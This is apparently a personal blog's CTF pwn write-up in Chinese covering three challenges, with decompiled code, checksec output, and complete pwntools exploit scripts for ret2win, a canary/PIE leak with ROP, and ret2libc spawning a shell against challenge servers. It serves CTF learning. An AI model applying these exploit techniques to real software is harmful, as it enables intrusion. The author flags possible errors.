写在前面#

此为第一版，貌似错误挺多的，后面再修吧

omg电台炸了#

checksec

1
   Arch:       amd64-64-little
2
    RELRO:      Partial RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        No PIE (0x400000)
6
    SHSTK:      Enabled
7
    IBT:        Enabled
8
    Stripped:   No

没有PIE，但是有canary,还是需要泄露

看main函数逻辑

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned __int8 v4; // [rsp+Fh] [rbp-A1h] BYREF
4
  _QWORD v5[9]; // [rsp+10h] [rbp-A0h] BYREF
5
  char v6; // [rsp+58h] [rbp-58h]
6
  _QWORD v7[8]; // [rsp+60h] [rbp-50h] BYREF
7
  void (*v8)(void); // [rsp+A0h] [rbp-10h]
8

9
  memset(v7, 0, sizeof(v7));
10
  v8 = (void (*)(void))show_status;
11
  memset(v5, 0, sizeof(v5));
12
  v6 = 0;
13
  IO_setvbuf(stdin, 0, 2, 0);
14
  IO_setvbuf(stdout, 0, 2, 0);
15
  alarm(30);
16
  IO_puts("=== Faulty Radio Hardware ===");
17
  IO_puts("[hardware] Recovery controller online.");
18
  IO_puts("[hardware] Send a length-prefixed encrypted repair message.");
19
  IO_puts("Enter repair ciphertext:");
20
  read_exact(&v4, 1);
21
  if ( v4 && v4 <= 0x48u )
22
  {
23
    read_exact(v5, v4);
24
    if ( (unsigned __int64)j_strlen(v5) <= 0x20 )
25
    {
26
      j___new_memcpy(v7, v5, v4);
27
      v8();
28
    }
29
    else
30
    {
31
      IO_puts("[hardware] Repair cipher is too long.");
32
    }
33
    return 0;
34
  }
35
  else
36
  {
37
    IO_puts("[hardware] Invalid frame length.");
38
    return 0;
39
  }
40
}

依旧alarm,欸没有canary防护欸

复习一下

memcpy(v7, v5, v4); 是 C 标准库函数 memcpy 的调用，功能是：

从源地址 v5 开始，复制 v4 个字节到目标地址 v7。

也就是说，有两轮检查,第一轮检查v4的上界,第二轮检查v5的长度

常见指令长度示例（x86-64）

指令	字节数	机器码示例
`ret`	1	`c3`
`push rbp`	1	`55`
`pop rdi`	1	`5f`
`pop rdi; ret`	2	`5f c3`
`mov rbp, rsp`	3	`48 89 e5`
`call rel32`	5	`e8 xx xx xx xx`
`jmp rel32`	5	`e9 xx xx xx xx`
`syscall`	2	`0f 05`

然后调用v8(指针),v8原本指向的是一个说明(show_status)

然后就是找后门环节

1
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/omg电台出问题了/attachment$ strings -a -t x radio_relay | grep '/flag'
2
  7e04a /flag

有后门

1
__int64 repair_complete()
2
{
3
  _QWORD v1[16]; // [rsp+0h] [rbp-90h] BYREF
4
  __int64 v2; // [rsp+80h] [rbp-10h]
5
  int v3; // [rsp+8Ch] [rbp-4h]
6

7
  memset(&v1[1], 0, 120);
8
  v3 = _open("/flag", 0, 0);
9
  if ( v3 < 0 )
10
  {
11
    IO_puts("[hardware] Repair completed, but the diagnostic record is unavailable.");
12
    exit(1);
13
  }
14
  v2 = _libc_read((unsigned int)v3, v1, 127);
15
  if ( v2 > 0 )
16
  {
17
    _libc_write(1, "[hardware] Repair completed: ", 29);
18
    _libc_write(1, v1, v2);
19
  }
20
  return _libc_close((unsigned int)v3);
21
}

shift+F12,ctrl+F

那就是栈溢出+跳转,ret2win

目前来看,能操作的就是memcpy,你这样想,v7只有50h,v5可以被我控制，那不就可以造栈溢出了。

这个时候有人问了，v5不是有长度检查吗,你想鸡毛

唉我真得整理一篇检查绕后了

strlen(v5) 遇到第一个 \x00 就会停止计数，返回之前的长度。

也就是说，我们的打入数据一开始就放一个\00就可以绕过检查了

exp

1
from pwn import *
2

3
p = remote('127.0.0.1', 65365)
4
# p = process('./radio_relay')
5
win_place = 0x40182A
6

7
payload = b'\x00' + b'A' * (64 - 1) + p64(win_place)
8

9
p.recvuntil(b'Enter repair ciphertext:')
10
p.send(bytes([len(payload)]))
11
p.send(payload)
12

13
p.interactive()

hard_overflow#

这个是25aurora的

checksec

1
    Arch:       amd64-64-little
2
    RELRO:      Partial RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        PIE enabled
6
    Stripped:   No

PIE+NX+canary

main

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _QWORD buf[2]; // [rsp+0h] [rbp-20h] BYREF
4
  int v5; // [rsp+10h] [rbp-10h]
5
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]
6

7
  v6 = __readfsqword(0x28u);
8
  init(argc, argv, envp);
9
  buf[0] = 0;
10
  buf[1] = 0;
11
  v5 = 0;
12
  printf("Username: ");
13
  read(0, buf, 0x80u);
14
  printf("Hello, %s\n", (const char *)buf);
15
  vuln();
16
  return 0;
17
}

再看vuln

1
__int64 vuln()
2
{
3
  char buf[32]; // [rsp+0h] [rbp-50h] BYREF
4
  char dest[40]; // [rsp+20h] [rbp-30h] BYREF
5
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]
6

7
  v3 = __readfsqword(0x28u);
8
  printf("Password: ");
9
  read(0, buf, 0x80u);
10
  printf("Repeat the password to ensure: %s\n", buf);
11
  strcpy(dest, buf);
12
  read(0, buf, 0x80u);
13
  if ( strcmp(dest, buf) )
14
    exit(-1);
15
  return 1;
16
}

[rbp-8h]意味着v3是canary

看看汇编

1
0000000000001233 ; __unwind {
2
.text:0000000000001233                 push    rbp
3
.text:0000000000001234                 mov     rbp, rsp
4
.text:0000000000001237                 sub     rsp, 20h
5
.text:000000000000123B                 mov     [rbp+var_18], rdi
6
.text:000000000000123F                 mov     rax, fs:28h
7
.text:0000000000001248                 mov     [rbp+var_8], rax
8
.text:000000000000124C                 xor     eax, eax
9
.text:000000000000124E                 mov     edi, 20h ; ' '  ; size
10
.text:0000000000001253                 call    _malloc
11
.text:0000000000001258                 mov     [rbp+command], rax
12
.text:000000000000125C                 mov     rax, [rbp+command]
13
.text:0000000000001260                 mov     rdx, 68732F6E69622Fh
14
.text:000000000000126A                 mov     [rax], rdx
15
.text:000000000000126D                 mov     rax, 1145141919810721h
16
.text:0000000000001277                 cmp     [rbp+var_18], rax
17
.text:000000000000127B                 jnz     short loc_128B
18
.text:000000000000127D                 mov     rax, [rbp+command]
19
.text:0000000000001281                 mov     rdi, rax        ; command
20
.text:0000000000001284                 call    _system
21
.text:0000000000001289                 jmp     short loc_129A

可以看到，rdi传入给栈帧var_18，然后再鸡巴和神秘小数字比较(我操，恶俗啊)也就是说后门拿到shell的条件是要让rdi变成神秘小数字,也就是需要吧rdi弹出(pop_rdi)，再给他赋值

这个时候有人就要问了，为什么不是通过入栈赋值呢你个唐

这就要讲到linux64调用参数规定了,前六个参数都是直接通过寄存器传递的

第 1 个参数 → rdi

第 2 个参数 → rsi

第 3 个参数 → rdx

第 4 个参数 → rcx

第 5 个参数 → r8

第 6 个参数 → r9

只有第 7 个及以后的参数才压栈

那要怎么操作呢

`pop rdi; ret`#

1
[pop_rdi 的地址]   ← ret 会跳到这里
2
[0x1145141919810721] ← pop rdi 会把这个值弹到 rdi
3
[backdoor 的地址]  ← pop rdi 后的 ret 会跳到这里

函数结束，ret跳转到pop_rdi，执行该操作，然后赋值给rdi,执行完的ret再跳转到后门，即可操作

What_s_this ？

1
text:0000000000001374 What_s_this     proc near
2
.text:0000000000001374 ; __unwind {
3
.text:0000000000001374                 pop     rdi
4
.text:0000000000001375                 pop     rsi
5
.text:0000000000001376                 retn
6
.text:0000000000001376 What_s_this     endp ; sp-analysis failed
7
.text:0000000000001376
8
.text:0000000000001376 ; ---------------------------------------------------------------------------
9
.text:0000000000001377                 db 2Bh dup(90h)
10
.text:0000000000001377 ; } // starts at 1374
11
.text:00000000000013A2

rdi也不缺了

那回到mian函数，我们需要构造栈溢出，对吧

你都printf我输入的buf那还说啥

canary再uesr’sname阶段就可以解决了

vuln的两个read都溢出，一个泄露真实地址，一个跳转,偏移通过未知数计算即可，读取一个赋值一个就好

先看canary泄露的操作

看栈帧开辟:

0x20-0x8=0x12，那么要先塞0x12才到canary的地址+“\x99” （canary最低字节恒为0x00）

那我们塞满他的话，程序就会一直打印知道null为止,显然我们的填充字节不会爆null，那么canary就一定会被泄露

但此时的canary不是完整的，需要

1
canary = b"\x00" + canary7

接着进入vuln，构造栈溢出，跟第一次一样

但是这次让printf一直打印到返回地址处，返回地址正好压入的是main的返回地址，那我们要填充多少字节呢

[rbp-50h]+ 0x8,因为返回地址永远在 rbp + 8

你再去查call里的返回地址偏移，汇编左边那个栏目，可以得到0x1429

得到0x1429之后就可以算base了

base=返回地址-0x1429

第三轮的ROP就不多赘述了

ok那大差不差了

exp(感谢leyi的馈赠)

1
from pwn import *
2
context(arch='amd64', os='linux', log_level='debug')
3
context.terminal = ['cmd.exe', '/c', 'start', '/MAX', 'bash.exe', '-c']
4

5
p = process('./hardoverflow')
6
# p = gdb.debug('./hardoverflow')
7
# p = remote('node.szu.moe', 10390)
8

9
p.recvuntil(b'Username: ')
10
p.send(b'a'*0x19)
11
p.recvn(0x20)
12
canary = b'\x00' + p.recvn(7)
13
log.success('get canary --> ' + canary.hex())
14

15
p.recvuntil(b'Password: ')
16
p.send(b'a'*0x58)
17
p.recvn(0x77)
18
real_addr = u64(p.recvn(6).ljust(8, b'\x00'))
19
base_addr = real_addr - 0x1429
20
log.success('get elf_base --> ' + hex(base_addr))
21

22
p.recvline()
23
payload = flat(
24
    b'a'*0x1f,
25
    b'\x00',
26
    b'a'*0x1f,
27
    b'\x00',
28
    b'a'*0x8,
29
    canary,
30
    b'a'*0x8,
31
    base_addr + 0x1374,
32
    0x1145141919810721,
33
    0,
34
    base_addr + 0x1233
35
)
36
p.send(payload)
37

38
p.interactive()

hard_libc#

checksec

1
    Arch:       amd64-64-little
2
    RELRO:      Partial RELRO
3
    Stack:      No canary found
4
    NX:         NX enabled
5
    PIE:        No PIE (0x400000)
6
    Stripped:   No

只有NX

再看main

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
4

5
  puts("No gift for you this time! Say something\n");
6
  putchar(62);
7
  return read(0, buf, 0x100u);
8
}

很明显的栈溢出

What_s_this

1
text:0000000000401185 ; void What_s_this()
2
.text:0000000000401185                 public What_s_this
3
.text:0000000000401185 What_s_this     proc near
4
.text:0000000000401185 ; __unwind {
5
.text:0000000000401185                 pop     rdi
6
.text:0000000000401186                 pop     rsi
7
.text:0000000000401187                 retn
8
.text:0000000000401187 What_s_this     endp ; sp-analysis failed
9
.text:0000000000401187
10
.text:0000000000401187 ; ---------------------------------------------------------------------------
11
.text:0000000000401188                 db 0Bh dup(90h)
12
.text:0000000000401188 ; } // starts at 401185
13
.text:0000000000401193

给rdi了

以及没有后门

那就只能去libc.so.6去找

1
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/aurora25/hard_libc/hard_libc$ readelf -s ./libc.so.6 | grep system
2
  1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5
3
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/aurora25/hard_libc/hard_libc$ strings -a -t x ./libc.so.6 | grep '/bin/sh'
4
 1d8678 /bin/sh

于是我什么都不缺了.jpg

攻击思路

由于只有一次调用，所以我们得泄露一次其真实地址（跳过ASLR），然后重新跑一遍跳转到system以及/bin/sh

额延迟绑定机制就不在这里教了

总之我们需要的是rdi,rsi放个0占位就好

exp

1
from pwn import *
2

3
elf = ELF('./hardlibc')
4
libc = ELF('./libc.so.6')
5

6
pop_rdi_pop_rsi = 0x401185
7
main_addr = elf.symbols['main']
8
ret = 0x401016
9

10
payload1 = b'a' * 40 + p64(pop_rdi_pop_rsi) + p64(elf.got['puts']) + p64(0) + p64(elf.plt['puts']) + p64(main_addr)
11

12
p = remote("node.szu.moe", 10011)
13
# p = process('./hardlibc')
14
p.sendline(payload1)
15
leak = p.recvline().strip().ljust(8, b'\x00')
16
puts_addr = u64(leak)
17
libc_base = puts_addr - libc.symbols['puts']
18
system_addr = libc_base + libc.symbols['system']
19
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
20

21
payload2 = b'A' * 40
22
payload2 += p64(ret)
23
payload2 += p64(pop_rdi_pop_rsi)
24
payload2 += p64(binsh_addr)
25
payload2 += p64(0)
26
payload2 += p64(system_addr)
27
p.sendline(payload2)
28
p.interactive()

dxfaker's site

写在前面#

omg电台炸了#

hard_overflow#

pop rdi; ret#

hard_libc#

`pop rdi; ret`#